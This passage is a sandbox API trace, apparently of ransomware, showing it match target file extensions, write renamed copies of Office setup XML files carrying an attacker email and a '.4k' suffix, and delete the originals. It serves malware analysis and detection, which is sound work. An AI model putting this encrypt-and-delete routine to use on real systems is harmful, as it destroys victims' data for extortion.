	[0100.459] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.459] lstrlenW (lpString=".rar") returned 4
	[0100.459] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString=".bz2") returned 4
	[0100.459] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString=".7z") returned 3
	[0100.459] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString=".dbf") returned 4
	[0100.459] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString=".1cd") returned 4
	[0100.459] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString=".jpg") returned 4
	[0100.459] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString=".doc") returned 4
	[0100.459] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString=".docx") returned 5
	[0100.460] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.460] lstrlenW (lpString=".pdf") returned 4
	[0100.460] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString=".xls") returned 4
	[0100.460] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString=".xlsx") returned 5
	[0100.460] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.460] lstrlenW (lpString=".ppt") returned 4
	[0100.460] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.460] lstrlenW (lpString=".zip") returned 4
	[0100.460] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.460] lstrlenW (lpString=".rar") returned 4
	[0100.460] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString=".bz2") returned 4
	[0100.460] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString=".7z") returned 3
	[0100.460] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.460] lstrlenW (lpString=".dbf") returned 4
	[0100.460] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.460] lstrlenW (lpString=".1cd") returned 4
	[0100.460] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.460] lstrlenW (lpString=".jpg") returned 4
	[0100.460] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.461] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.461] lstrlenW (lpString="PowerPointMUI.XML") returned 17
	[0100.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.461] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1450) returned 1
	[0100.461] CloseHandle (hObject=0x1e8) returned 1
	[0100.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20
	[0100.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.462] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.462] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.464] GetLastError () returned 0x0
	[0100.464] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0100.527] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0100.528] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.528] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0100.529] SetEndOfFile (hFile=0x200) returned 1
	[0100.529] CloseHandle (hObject=0x200) returned 1
	[0100.529] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.529] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.530] CloseHandle (hObject=0x1e8) returned 1
	[0100.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.530] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1
	[0100.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.531] lstrlenW (lpString=".doc") returned 4
	[0100.531] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString=".docx") returned 5
	[0100.531] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.531] lstrlenW (lpString=".pdf") returned 4
	[0100.531] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString=".xls") returned 4
	[0100.531] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString=".xlsx") returned 5
	[0100.531] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.531] lstrlenW (lpString=".ppt") returned 4
	[0100.531] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.531] lstrlenW (lpString=".zip") returned 4
	[0100.531] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.531] lstrlenW (lpString=".rar") returned 4
	[0100.531] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString=".bz2") returned 4
	[0100.531] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.531] lstrlenW (lpString=".7z") returned 3
	[0100.531] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.531] lstrlenW (lpString=".dbf") returned 4
	[0100.531] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.532] lstrlenW (lpString=".1cd") returned 4
	[0100.532] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.532] lstrlenW (lpString=".jpg") returned 4
	[0100.532] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.532] lstrlenW (lpString=".doc") returned 4
	[0100.532] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString=".docx") returned 5
	[0100.532] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.532] lstrlenW (lpString=".pdf") returned 4
	[0100.532] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString=".xls") returned 4
	[0100.532] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString=".xlsx") returned 5
	[0100.532] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.532] lstrlenW (lpString=".ppt") returned 4
	[0100.532] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.532] lstrlenW (lpString=".zip") returned 4
	[0100.532] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.532] lstrlenW (lpString=".rar") returned 4
	[0100.533] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.533] lstrlenW (lpString=".bz2") returned 4
	[0100.533] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.533] lstrlenW (lpString=".7z") returned 3
	[0100.533] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.533] lstrlenW (lpString=".dbf") returned 4
	[0100.533] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.533] lstrlenW (lpString=".1cd") returned 4
	[0100.533] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0100.533] lstrlenW (lpString=".jpg") returned 4
	[0100.533] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.533] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.533] lstrlenW (lpString="PrjProrWW.XML") returned 13
	[0100.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.566] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6421) returned 1
	[0100.566] CloseHandle (hObject=0x1f0) returned 1
	[0100.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20
	[0100.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.566] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.566] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.567] GetLastError () returned 0x0
	[0100.567] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1915, lpOverlapped=0x0) returned 1
	[0100.577] WriteFile (in: hFile=0x1e8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1920, lpOverlapped=0x0) returned 1
	[0100.578] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.579] WriteFile (in: hFile=0x1e8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0100.579] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.579] CloseHandle (hObject=0x1e8) returned 1
	[0100.579] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.579] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.580] CloseHandle (hObject=0x1f0) returned 1
	[0100.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1
	[0100.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.581] lstrlenW (lpString=".doc") returned 4
	[0100.581] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString=".docx") returned 5
	[0100.581] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.581] lstrlenW (lpString=".pdf") returned 4
	[0100.581] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString=".xls") returned 4
	[0100.581] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString=".xlsx") returned 5
	[0100.581] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.581] lstrlenW (lpString=".ppt") returned 4
	[0100.581] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.581] lstrlenW (lpString=".zip") returned 4
	[0100.581] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.581] lstrlenW (lpString=".rar") returned 4
	[0100.581] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString=".bz2") returned 4
	[0100.581] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.581] lstrlenW (lpString=".7z") returned 3
	[0100.581] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString=".dbf") returned 4
	[0100.582] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString=".1cd") returned 4
	[0100.582] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString=".jpg") returned 4
	[0100.582] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString=".doc") returned 4
	[0100.582] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString=".docx") returned 5
	[0100.582] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.582] lstrlenW (lpString=".pdf") returned 4
	[0100.582] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString=".xls") returned 4
	[0100.582] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString=".xlsx") returned 5
	[0100.582] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.582] lstrlenW (lpString=".ppt") returned 4
	[0100.582] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.582] lstrlenW (lpString=".zip") returned 4
	[0100.582] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.582] lstrlenW (lpString=".rar") returned 4
	[0100.582] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.582] lstrlenW (lpString=".bz2") returned 4
	[0100.583] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.583] lstrlenW (lpString=".7z") returned 3
	[0100.583] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.583] lstrlenW (lpString=".dbf") returned 4
	[0100.583] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.583] lstrlenW (lpString=".1cd") returned 4
	[0100.583] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0100.583] lstrlenW (lpString=".jpg") returned 4
	[0100.583] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.583] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.583] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.584] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1872) returned 1
	[0100.584] CloseHandle (hObject=0x1f0) returned 1
	[0100.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20
	[0100.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.584] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.584] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.585] GetLastError () returned 0x0
	[0100.585] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x750, lpOverlapped=0x0) returned 1
	[0100.593] WriteFile (in: hFile=0x1e8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0100.594] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
